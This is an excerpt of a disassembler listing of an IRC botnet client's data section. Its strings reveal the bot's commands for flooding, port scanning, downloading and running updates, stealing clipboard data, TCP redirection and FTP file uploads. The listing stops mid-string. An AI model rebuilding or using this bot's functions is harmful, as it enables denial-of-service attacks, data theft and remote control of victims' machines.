dup(0) aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_4085DD+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 dd 0 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_4085DD+35o align 4 aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4087B3+4A14o align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_4087B3+49FFo align 4 unk_42D488 db 2 ; DATA XREF: sub_4087B3+49F2o db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 72h db 1Fh db 62h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aUserSLoggedIn_ db ' User: %s logged in.',0 align 4 dd 2 dup(0) unk_42D4BC db 2 ; DATA XREF: sub_4087B3+49D5o db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 72h db 1Fh db 62h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aPasswordAccept db ' Password accepted.',0 dd 2 dup(0) unk_42D4EC db 2 ; DATA XREF: sub_4087B3+4977o db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 72h db 1Fh db 62h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aFailedHostAuth db ' *Failed host auth by: (%s!%s).',0 dd 3 dup(0) unk_42D52C db 2 ; DATA XREF: sub_4087B3+4907o db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 72h db 1Fh db 62h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aFailedPassAuth db ' Failed pass auth by: (%s!%s).',0 align 10h dd 3 dup(0) aNoticeSFaile_0 db 'NOTICE %s :Failed.',0Dh,0Ah,0 ; DATA XREF: sub_4087B3+48F8o ; sub_4087B3+4968o align 8 aNoticeSFailed_ db 'NOTICE %s :Failed. (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_4087B3+48E4o ; sub_4087B3+4954o align 4 dd 0 asc_42D5AC: ; DATA XREF: sub_4087B3+48B4o unicode 0, <~>,0 unk_42D5B0 db 2 ; DATA XREF: sub_4087B3+4863o db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 72h db 1Fh db 62h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aRandomNickChan db ' Random nick change: %s',0 dd 2 dup(0) unk_42D5E4 db 2 ; DATA XREF: sub_4087B3+47A9o db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 72h db 1Fh db 62h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aInvalidLoginSl db ' Invalid login slot number: %d.',0 dd 3 dup(0) unk_42D624 db 2 ; DATA XREF: sub_4087B3+47A1o db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 72h db 1Fh db 62h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aNoUserLoggedIn db ' No user logged in at slot: %d.',0 dd 3 dup(0) dword_42D664 dd 20025B02h, 7269202Dh, 201F621Fh, 5D02202Dh, 20BB2002h ; DATA XREF: sub_4087B3+473Do dd 732520h, 0 dword_42D680 dd 20025B02h, 6573202Dh, 1F727563h, 2D201F65h, 25D0220h ; DATA XREF: sub_4087B3+469Do dd 2020BB20h, 73207325h, 65747379h, 2E6Dh, 2 dup(0) aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_4087B3+4697o align 4 dd 0 aSecuring db 'Securing',0 ; DATA XREF: sub_4087B3+4690o align 4 dword_42D6C8 dd 20025B02h, 7270202Dh, 631F636Fh, 202D201Fh, 20025D02h ; DATA XREF: sub_4087B3+4619o dd 0BBh, 0 aProcessList db 'Process list',0 ; DATA XREF: sub_4087B3+4614o align 4 dword_42D6F4 dd 20025B02h, 7269202Dh, 201F621Fh, 5D02202Dh, 20BB2002h ; DATA XREF: sub_4087B3+45DEo dd 63655220h, 656E6E6Fh, 6E697463h, 2E67h, 2 dup(0) aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_4087B3:loc_40CD84o align 4 dd 0 dword_42D73C dd 20025B02h, 7269202Dh, 201F621Fh, 5D02202Dh, 20BB2002h ; DATA XREF: sub_4087B3+45BCo dd 73694420h, 6E6E6F63h, 69746365h, 2E676Eh, 2 dup(0) aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_4087B3:loc_40CD62o align 10h dd 0 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_4087B3+4587o align 10h dd 0 unk_42D794 db 2 ; DATA XREF: sub_4087B3+453Bo db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 72h db 1Fh db 62h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aStatusReady_Bo db ' Status: Ready. Bot Uptime: %s.',0 dd 3 dup(0) dword_42D7D4 dd 20025B02h, 7269202Dh, 201F621Fh, 5D02202Dh, 20BB2002h ; DATA XREF: sub_4087B3+44FDo dd 746F4220h, 3A444920h, 2E732520h, 2 dup(0) unk_42D7FC db 2 ; DATA XREF: sub_4087B3+44CCo db 5Bh, 2, 20h db 2Dh ; - db 20h, 74h, 68h db 72h ; r db 65h, 61h, 64h db 1Fh db 73h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aFailedToStartL db ' Failed to start list thread, error: <%d>.',0 align 10h dd 3 dup(0) dword_42D84C dd 20025B02h, 6874202Dh, 64616572h, 201F731Fh, 5D02202Dh ; DATA XREF: sub_4087B3+4461o dd 20BB2002h, 73694C20h, 68742074h, 64616572h, 2E73h, 2 dup(0) dword_42D87C dd 627573h ; DATA XREF: sub_4087B3+443Bo dword_42D880 dd 20025B02h, 7269202Dh, 201F621Fh, 5D02202Dh, 20BB2002h ; DATA XREF: sub_4087B3+43E9o dd 696C4120h, 6C207361h, 2E747369h, 2 dup(0) unk_42D8A8 db 2 ; DATA XREF: sub_4087B3+43CEo db 5Bh, 2, 20h db 2Dh ; - db 20h, 6Ch, 6Fh db 1Fh db 67h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aFailedToStar_5 db ' Failed to start listing thread, error: <%d>.',0 align 4 dd 3 dup(0) dword_42D8F8 dd 20025B02h, 6F6C202Dh, 201F671Fh, 5D02202Dh, 20BB2002h ; DATA XREF: sub_4087B3+4341o dd 73694C20h, 676E6974h, 676F6C20h, 2Eh, 0 dword_42D920 dd 20025B02h, 7269202Dh, 201F621Fh, 5D02202Dh, 20BB2002h ; DATA XREF: sub_4087B3+42BDo dd 74654E20h, 6B726F77h, 666E4920h, 2E6Fh, 2 dup(0) dword_42D94C dd 20025B02h, 7269202Dh, 201F621Fh, 5D02202Dh, 20BB2002h ; DATA XREF: sub_4087B3+428Eo dd 73795320h, 206D6574h, 6F666E49h, 2Eh, 0 dword_42D974 dd 20025B02h, 7269202Dh, 201F621Fh, 5D02202Dh, 20BB2002h ; DATA XREF: sub_4087B3+4239o dd 6D655220h, 6E69766Fh, 6F422067h, 2E74h, 2 dup(0) unk_42D9A0 db 2 ; DATA XREF: sub_4087B3+4226o db 5Bh, 2, 20h db 2Dh ; - db 20h, 70h, 72h db 6Fh ; o db 63h, 1Fh, 73h db 1Fh db 20h, 2Dh, 20h db 2 db 5Dh, 2, 20h aFailedToStar_6 db ' Failed to start listing thread, error: <%d>.',0 dd 4 dup(0) dword_42D9F4 dd 20025B02h, 7270202Dh, 731F636Fh, 202D201Fh, 20025D02h ; DATA XREF: sub_4087B3+41B7o dd 502020BBh, 63636F72h, 20737365h, 7473696Ch, 2Eh, 2 dup(0) aFull db 'full',0 ; DATA XREF: sub_4087B3+4197o align 4 unk_42DA2C db 2 ; DATA XREF: sub_4087B3+4135o db 5Bh, 2, 20h db 2Dh ; - db 20h, 70h, 72h db 6Fh ; o db 63h, 1Fh, 73h db 1Fh db 20h, 2Dh, 20h db 2 db 5Dh, 2, 20h aAlreadyRunning db ' Already running.',0 dd 2 dup(0) dword_42DA5C dd 20025B02h, 7269202Dh, 201F621Fh, 5D02202Dh, 20BB2002h ; DATA XREF: sub_4087B3+40E4o dd 74705520h, 3A656D69h, 2E732520h, 2 dup(0) dword_42DA84 dd 20025B02h, 7269202Dh, 201F621Fh, 5D02202Dh, 20BB2002h ; DATA XREF: sub_4087B3+4055o dd 74654720h, 696C4320h, 616F6270h, 2E6472h, 2 dup(0) aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: sub_4087B3+4027o align 8 dword_42DAC8 dd 20025B02h, 6C66202Dh, 64687375h, 1F731F6Eh, 2202D20h ; DATA XREF: sub_4087B3:loc_40C7CAo dd 0BB20025Dh aFailedToFlushA db ' Failed to flush ARP cache.',0 align 10h dd 2 dup(0) dword_42DB08 dd 20025B02h, 6C66202Dh, 64687375h, 1F731F6Eh, 2202D20h ; DATA XREF: sub_4087B3+3FFCo dd 0BB20025Dh aArpCacheFlushe db ' ARP cache flushed.',0 align 10h dword_42DB40 dd 20025B02h, 6C66202Dh, 64687375h, 1F731F6Eh, 2202D20h ; DATA XREF: sub_4087B3:loc_40C79Fo dd 0BB20025Dh aFailedToLoadDn db ' Failed to load dnsapi.dll.',0 align 10h dword_42DB80 dd 20025B02h, 6C66202Dh, 64687375h, 1F731F6Eh, 2202D20h ; DATA XREF: sub_4087B3:loc_40C798o dd 0BB20025Dh aFailedToFlushD db ' Failed to flush DNS cache.',0 align 10h dword_42DBC0 dd 20025B02h, 6C66202Dh, 64687375h, 1F731F6Eh, 2202D20h ; DATA XREF: sub_4087B3+3FDEo dd 0BB20025Dh aDnsCacheFlushe db ' DNS cache flushed.',0 align 10h dd 2 dup(0) unk_42DBF8 db 2 ; DATA XREF: sub_4087B3+3F5Bo db 5Bh, 2, 20h db 2Dh ; - db 20h, 68h, 74h db 74h ; t db 70h, 1Fh, 64h db 1Fh db 20h, 2Dh, 20h db 2 db 5Dh, 2, 20h aFailedToStar_7 db ' Failed to start server thread, error: <%d>.',0 dd 4 dup(0) unk_42DC4C db 2 ; DATA XREF: sub_4087B3+3EF0o db 5Bh, 2, 20h db 2Dh ; - db 20h, 68h, 74h db 74h ; t db 70h, 1Fh, 64h db 1Fh db 20h, 2Dh, 20h db 2 db 5Dh, 2, 20h aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 align 10h dword_42DCA0 dd 20025B02h, 6674202Dh, 1F701F74h, 2202D20h, 0BB20025Dh ; DATA XREF: sub_4087B3+3DE9o aFailedToStar_8 db ' Failed to start server thread, error: <%d>.',0 align 10h dword_42DCF0 dd 20025B02h, 6674202Dh, 1F701F74h, 2202D20h, 0BB20025Dh ; DATA XREF: sub_4087B3+3D7Ao aServerStarte_1 db ' Server started on Port: %d, File: %s, Request: %s.',0 align 4 dd 3 dup(0) dword_42DD48 dd 20025B02h, 6674202Dh, 1F701F74h, 2202D20h, 0BB20025Dh ; DATA XREF: sub_4087B3+3CC1o aAlreadyRunni_0 db ' Already running.',0 align 10h dd 2 dup(0) dword_42DD78 dd 20025B02h, 6F72202Dh, 1F741F6Fh, 2202D20h, 0BB20025Dh ; DATA XREF: sub_4087B3:loc_40C450o aFailedToStar_9 db ' Failed to start scan, port is invalid.',0 align 4 dd 3 dup(0) unk_42DDC4 db 2 ; DATA XREF: sub_4087B3+3996o db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 72h db 1Fh db 62h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aNickChangedToS db ' Nick changed to: ',27h,'%s',27h,'.',0 dd 2 dup(0) unk_42DDF8 db 2 ; DATA XREF: sub_4087B3+3979o db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 72h db 1Fh db 62h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aJoinedChannelS db ' Joined channel: ',27h,'%s',27h,'.',0 align 4 dd 2 dup(0) unk_42DE2C db 2 ; DATA XREF: sub_4087B3+3958o db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 72h db 1Fh db 62h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aPartedChannelS db ' Parted channel: ',27h,'%s',27h,'.',0 align 10h dword_42DE60 dd 20025B02h, 7269202Dh, 201F621Fh, 5D02202Dh, 20BB2002h ; DATA XREF: sub_4087B3+393Eo dd 43524920h, 77615220h, 7325203Ah, 2Eh, 0 unk_42DE88 db 2 ; DATA XREF: sub_4087B3:loc_40C071o db 5Bh, 2, 20h db 2Dh ; - db 20h, 74h, 68h db 72h ; r db 65h, 61h, 64h db 1Fh db 73h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aFailedToKillTh db ' Failed to kill thread: %s.',0 dd 3 dup(0) unk_42DEC8 db 2 ; DATA XREF: sub_4087B3+38B7o db 5Bh, 2, 20h db 2Dh ; - db 20h, 74h, 68h db 72h ; r db 65h, 61h, 64h db 1Fh db 73h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aKilledThreadS_ db ' Killed thread: %s.',0 dd 2 dup(0) unk_42DEFC db 2 ; DATA XREF: sub_4087B3:loc_40C024o db 5Bh, 2, 20h db 2Dh ; - db 20h, 74h, 68h db 72h ; r db 65h, 61h, 64h db 1Fh db 73h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aNoActiveThread db ' No active threads found.',0 align 10h dd 2 dup(0) unk_42DF38 db 2 ; DATA XREF: sub_4087B3+3867o db 5Bh, 2, 20h db 2Dh ; - db 20h, 74h, 68h db 72h ; r db 65h, 61h, 64h db 1Fh db 73h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aStoppedDThread db ' Stopped: %d thread(s).',0 dd 3 dup(0) dword_42DF74 dd 6C6C61h ; DATA XREF: sub_4087B3+384Do aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_4087B3+37C4o ; sub_4087B3:loc_40CD4Co align 4 unk_42DF88 db 2 ; DATA XREF: sub_4087B3+3748o db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 72h db 1Fh db 62h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aPrefixChangedT db ' Prefix changed to: ',27h,'%c',27h,'.',0 align 10h unk_42DFC0 db 2 ; DATA XREF: sub_4087B3:loc_40BEE2o db 5Bh, 2, 20h db 2Dh ; - db 20h, 73h, 68h db 65h ; e db 6Ch, 1Fh, 6Ch db 1Fh db 20h, 2Dh, 20h db 2 db 5Dh, 2, 20h aCouldnTOpenF_0 db ' Couldn',27h,'t open file: %s',0 align 10h dd 2 dup(0) unk_42DFF8 db 2 ; DATA XREF: sub_4087B3+3725o db 5Bh, 2, 20h db 2Dh ; - db 20h, 73h, 68h db 65h ; e db 6Ch, 1Fh, 6Ch db 1Fh db 20h, 2Dh, 20h db 2 db 5Dh, 2, 20h aFileOpenedS db ' File opened: %s',0 align 10h dd 2 dup(0) unk_42E028 db 2 ; DATA XREF: sub_4087B3+36F8o db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 72h db 1Fh db 62h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aServerChangedT db ' Server changed to: ',27h,'%s',27h,'.',0 align 10h dword_42E060 dd 20025B02h, 6E64202Dh, 1F731F6Ch, 2202D20h, 0BB20025Dh ; DATA XREF: sub_4087B3:loc_40BE7Do aCouldnTResol_0 db ' Couldn',27h,'t resolve hostname.',0 align 4 dd 2 dup(0) dword_42E09C dd 20025B02h, 6E64202Dh, 1F731F6Ch, 2202D20h, 0BB20025Dh ; DATA XREF: sub_4087B3+369Co aLookupSS_ db ' Lookup: %s -> %s.',0 dd 2 dup(0) unk_42E0CC db 2 ; DATA XREF: sub_4087B3:loc_40BE18o db 5Bh, 2, 20h db 2Dh ; - db 20h, 70h, 72h db 6Fh ; o db 63h, 1Fh, 73h db 1Fh db 20h, 2Dh, 20h db 2 db 5Dh, 2, 20h aFailedToTermin db ' Failed to terminate process: %s',0 align 10h unk_42E110 db 2 ; DATA XREF: sub_4087B3+365Bo db 5Bh, 2, 20h db 2Dh ; - db 20h, 70h, 72h db 6Fh ; o db 63h, 1Fh, 73h db 1Fh db 20h, 2Dh, 20h db 2 db 5Dh, 2, 20h aProcessKilledS db ' Process killed: %s',0 align 4 dd 2 dup(0) unk_42E144 db 2 ; DATA XREF: sub_4087B3:loc_40BDB4o db 5Bh, 2, 20h db 2Dh ; - db 20h, 70h, 72h db 6Fh ; o db 63h, 1Fh, 73h db 1Fh db 20h, 2Dh, 20h db 2 db 5Dh, 2, 20h aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 align 10h dd 3 dup(0) unk_42E18C db 2 ; DATA XREF: sub_4087B3+35FAo db 5Bh, 2, 20h db 2Dh ; - db 20h, 70h, 72h db 6Fh ; o db 63h, 1Fh, 73h db 1Fh db 20h, 2Dh, 20h db 2 db 5Dh, 2, 20h aProcessKilledI db ' Process killed ID: %s',0 align 4 dd 2 dup(0) dword_42E1C4 dd 20025B02h, 6966202Dh, 1F651F6Ch, 2202D20h, 0BB20025Dh ; DATA XREF: sub_4087B3+35B5o dd 65442020h, 6574656Ch, 25272064h, 2E2773h, 2 dup(0) unk_42E1F0 db 2 ; DATA XREF: sub_4087B3+359Bo db 5Bh, 2, 20h db 2Dh ; - db 20h, 76h, 69h db 73h ; s db 69h, 6Ch, 1Fh db 74h ; t db 1Fh, 20h, 2Dh db 20h db 2, 5Dh, 2 aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0 dd 4 dup(0) dword_42E248 dd 20025B02h, 6976202Dh, 1F6C6973h, 2D201F74h, 25D0220h ; DATA XREF: sub_4087B3+352Co dd 2020BB20h, 3A4C5255h, 2E732520h, 2 dup(0) dword_42E270 dd 20025B02h, 696D202Dh, 1F631F72h, 2202D20h, 0BB20025Dh ; DATA XREF: sub_4087B3:loc_40BC6Co dd 6F432020h, 6E616D6Dh, 65732064h, 2E746Eh, 2 dup(0) dword_42E29C dd 20025B02h, 696D202Dh, 1F631F72h, 2202D20h, 0BB20025Dh ; DATA XREF: sub_4087B3+34AFo aClientNotOpen_ db ' Client not open.',0 align 4 dd 2 dup(0) unk_42E2CC db 2 ; DATA XREF: sub_4087B3+347Co db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 72h db 1Fh db 62h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aReadFileFailed db ' Read file failed: %s',0 align 10h unk_42E300 db 2 ; DATA XREF: sub_4087B3+3466o db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 72h db 1Fh db 62h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aReadFileComple db ' Read file complete: %s',0 dd 2 dup(0) dword_42E334 dd 20025B02h, 7269202Dh, 201F621Fh, 5D02202Dh, 20BB2002h ; DATA XREF: sub_4087B3+33E3o dd 74654720h, 74736F68h, 7325203Ah, 2Eh, 0 unk_42E35C db 2 ; DATA XREF: sub_4087B3+33A0o db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 72h db 1Fh db 62h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aUnableToExtrac db ' Unable to extract Gethost command.',0 align 10h unk_42E3A0 db 2 ; DATA XREF: sub_4087B3+3384o db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 72h db 1Fh db 62h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aGethostSComman db ' Gethost: %s, Command: %s',0 align 10h dd 2 dup(0) unk_42E3D8 db 2 ; DATA XREF: sub_4087B3+32FAo db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 72h db 1Fh db 62h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aAliasAddedS_ db ' Alias added: %s.',0 align 10h dd 2 dup(0) unk_42E408 db 2 ; DATA XREF: sub_4087B3+32B8o db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 72h db 1Fh db 62h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aPrivmsgSS_ db ' Privmsg: %s: %s.',0 align 10h dd 2 dup(0) unk_42E438 db 2 ; DATA XREF: sub_4087B3+325Eo db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 72h db 1Fh db 62h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aActionSS_ db ' Action: %s: %s.',0 align 10h dd 0 dword_42E464 dd 20025B02h, 7269202Dh, 201F621Fh, 5D02202Dh, 20BB2002h ; DATA XREF: sub_4087B3+31EFo dd 63794320h, 2E656Ch, 2 dup(0) aPartS_0 db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_4087B3+31B3o ; sub_4087B3+3948o align 4 unk_42E494 db 2 ; DATA XREF: sub_4087B3+318Co db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 72h db 1Fh db 62h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aModeChangeS db ' Mode change: %s',0 align 10h aModeS_0 db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_4087B3+317Eo align 4 dword_42E4CC dd 20025B02h, 6C63202Dh, 1F656E6Fh, 2D201F73h, 25D0220h ; DATA XREF: sub_4087B3+3153o dd 2020BB20h, 20776152h, 29732528h, 7325203Ah, 2 dup(0) dword_42E4F8 dd 20025B02h, 6C63202Dh, 1F656E6Fh, 2D201F73h, 25D0220h ; DATA XREF: sub_4087B3+30E5o dd 2020BB20h, 65646F4Dh, 73252820h, 25203A29h, 73h, 2 dup(0) aModeS db 'MODE %s',0 ; DATA XREF: sub_4087B3+308Do dd 0 dword_42E534 dd 20025B02h, 6C63202Dh, 1F656E6Fh, 2D201F73h, 25D0220h ; DATA XREF: sub_4087B3+305Bo dd 2020BB20h, 6B63694Eh, 73252820h, 25203A29h, 73h, 2 dup(0) aNickS_0 db 'NICK %s',0 ; DATA XREF: sub_4087B3+3002o ; sub_4087B3+378Bo align 10h aJoinSS_0 db 'JOIN %s %s',0 ; DATA XREF: sub_4087B3+2FE1o align 10h aPartS db 'PART %s',0 ; DATA XREF: sub_4087B3+2F74o dd 0 unk_42E58C db 2 ; DATA XREF: sub_4087B3:loc_40B714o db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 72h db 1Fh db 62h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aRepeatNotAllow db ' Repeat not allowed in command line: %s',0 dd 3 dup(0) dword_42E5D4 dd 20025B02h, 7269202Dh, 201F621Fh, 5D02202Dh, 20BB2002h ; DATA XREF: sub_4087B3+2F26o dd 70655220h, 3A746165h, 732520h, 2 dup(0) dword_42E5FC dd 20025B02h, 7269202Dh, 201F621Fh, 5D02202Dh, 20BB2002h ; DATA XREF: sub_4087B3:loc_40B642o dd 6C654420h, 2E7961h, 2 dup(0) aSSSS db '%s %s %s :%s',0 ; DATA XREF: sub_4087B3+2E4Bo ; sub_4087B3+2F00o ... align 10h unk_42E630 db 2 ; DATA XREF: sub_4087B3+2DD0o db 5Bh, 2, 20h db 2Dh ; - db 20h, 75h, 70h db 67h ; g db 72h, 61h, 64h db 1Fh db 65h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aBotIdMustBeDif db ' Bot ID must be different than current running process.',0 dd 4 dup(0) unk_42E690 db 2 ; DATA XREF: sub_4087B3+2DBAo db 5Bh, 2, 20h db 2Dh ; - db 20h, 75h, 70h db 67h ; g db 72h, 61h, 64h db 1Fh db 65h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aFailedToStartD db ' Failed to start download thread, error: <%d>.',0 align 4 dd 4 dup(0) unk_42E6E8 db 2 ; DATA XREF: sub_4087B3+2D49o db 5Bh, 2, 20h db 2Dh ; - db 20h, 75h, 70h db 67h ; g db 72h, 61h, 64h db 1Fh db 65h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aDownloadingUpd db ' Downloading update from: %s.',0 align 10h dd 2 dup(0) aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_4087B3+2CA4o align 4 dword_42E734 dd 20025B02h, 7865202Dh, 1F631F65h, 2202D20h, 0BB20025Dh ; DATA XREF: sub_4087B3+2C40o dd 6F432020h, 6E616D6Dh, 203A7364h, 7325h, 2 dup(0) dword_42E760 dd 20025B02h, 7865202Dh, 1F631F65h, 2202D20h, 0BB20025Dh ; DATA XREF: sub_4087B3+2C35o aCouldnTExecute db ' Couldn',27h,'t execute file.',0 align 10h dd 2 dup(0) dword_42E798 dd 20025B02h, 6966202Dh, 1F651F6Ch, 2202D20h, 0BB20025Dh ; DATA XREF: sub_4087B3:loc_40B311o ; sub_4087B3:loc_40BD6Fo dd 20h, 0 dword_42E7B4 dd 20025B02h, 6966202Dh, 1F651F6Ch, 2202D20h, 0BB20025Dh ; DATA XREF: sub_4087B3+2B49o aRenameSToS_ db ' Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 4 dd 2 dup(0) unk_42E7EC db 2 ; DATA XREF: sub_4087B3+2B23o db 5Bh, 2, 20h db 2Dh ; - db 20h, 63h, 6Ch db 6Fh ; o db 6Eh, 65h, 1Fh db 73h ; s db 1Fh, 20h, 2Dh db 20h db 2, 5Dh, 2 aFailedToSta_10 db ' Failed to start clone thread, error: <%d>.',0 align 10h dd 3 dup(0) unk_42E83C db 2 ; DATA XREF: sub_4087B3+2AB4o db 5Bh, 2, 20h db 2Dh ; - db 20h, 63h, 6Ch db 6Fh ; o db 6Eh, 65h, 1Fh db 73h ; s db 1Fh, 20h, 2Dh db 20h db 2, 5Dh, 2 aCreatedOnSDInC db ' Created on %s:%d, in channel %s.',0 align 10h dword_42E880 dd 20025B02h, 7973202Dh, 1F6E1F6Ch, 2202D20h, 0BB20025Dh ; DATA XREF: sub_4087B3+2A23o aFailedToStartF db ' Failed to start flood thread, error: <%d>.',0 align 10h dword_42E8D0 dd 20025B02h, 7973202Dh, 1F6E1F6Ch, 2202D20h, 0BB20025Dh ; DATA XREF: sub_4087B3+29AFo aFloodingSSForS db ' Flooding: (%s:%s) for %s seconds.',0 dd 3 dup(0) dword_42E914 dd 20025B02h, 6F64202Dh, 6F6C6E77h, 1F641F61h, 2202D20h ; DATA XREF: sub_4087B3+2935o dd 0BB20025Dh aFailedToStartT db ' Failed to start transfer thread, error: <%d>.',0 dd 4 dup(0) dword_42E96C dd 20025B02h, 6F64202Dh, 6F6C6E77h, 1F641F61h, 2202D20h ; DATA XREF: sub_4087B3+28C6o dd 0BB20025Dh aDownloadingUrl db ' Downloading URL: %s to: %s.',0 align 4 dd 2 dup(0) dword_42E9AC dd 20025B02h, 6572202Dh, 65726964h, 1F741F63h, 2202D20h ; DATA XREF: sub_4087B3+27F3o dd 0BB20025Dh aFailedToSta_11 db ' Failed to start redirection thread, error: <%d>.',0 align 4 dd 4 dup(0) dword_42EA08 dd 20025B02h, 6572202Dh, 65726964h, 1F741F63h, 2202D20h ; DATA XREF: sub_4087B3+2784o dd 0BB20025Dh aTcpRedirectCre db ' TCP redirect created from: %s:%d to: %s:%d.',0 align 10h dd 3 dup(0) dword_42EA5C dd 20025B02h, 6F72202Dh, 1F741F6Fh, 2202D20h, 0BB20025Dh ; DATA XREF: sub_4087B3+2688o aPortScanStarte db ' Port scan started: %s:%d with delay: %d(ms).',0 align 10h dd 3 dup(0) aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: sub_4087B3+2602o align 4 aSSS db '[%s] * %s %s',0 ; DATA XREF: sub_4087B3+2503o align 4 dword_42EACC dd 54434101h, 204E4F49h, 17325h, 0 ; DATA XREF: sub_4087B3+2472o ; sub_4087B3+323Bo dword_42EADC dd 20025B02h, 6F72202Dh, 1F741F6Fh, 2202D20h, 0BB20025Dh ; DATA XREF: sub_4087B3+2411o ; sub_4087B3+26F7o ... aFailedToSta_12 db ' Failed to start scan thread, error: <%d>.',0 dd 3 dup(0) dword_42EB28 dd 20025B02h, 6F72202Dh, 1F741F6Fh, 2202D20h, 0BB20025Dh ; DATA XREF: sub_4087B3+23A2o ; sub_4087B3+3BDEo aSPortScanStart db ' %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 dd 6 dup(0) aSequential db 'Sequential',0 ; DATA XREF: sub_4087B3+2377o ; sub_4087B3+3BB3o align 10h aRandom db 'Random',0 ; DATA XREF: sub_4087B3+2370o ; sub_4087B3+3BACo align 4 dword_42EBC8 dd 20025B02h, 6F72202Dh, 1F741F6Fh, 2202D20h, 0BB20025Dh ; DATA XREF: sub_4087B3+222Fo aFailedToSta_13 db ' Failed to start scan, no IP specified.',0 align 4 dd 3 dup(0) dword_42EC14 dd 20025B02h, 6F72202Dh, 1F741F6Fh, 2202D20h, 0BB20025Dh ; DATA XREF: sub_4087B3+20EBo ; sub_4087B3+39F7o aAlreadyDScanni db ' Already %d scanning threads. Too many specified.',0 align 4 dd 4 dup(0) dword_42EC6C dd 20025B02h, 7466202Dh, 1F641F70h, 2202D20h, 0BB20025Dh ; DATA XREF: sub_4087B3:loc_40A81Ao aUploadingFileS db ' Uploading file: %s to: %s failed.',0 align 10h dword_42ECB0 dd 20025B02h, 7466202Dh, 1F641F70h, 2202D20h, 0BB20025Dh ; DATA XREF: sub_4087B3+2060o aUploadingFil_0 db ' Uploading file: %s to: %s',0 dd 3 dup(0) aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_4087B3+2047o align 8 aSS_4 db '-s:%s',0 ; DATA XREF: sub_4087B3+2030o align 10h aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_4087B3+2012o db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 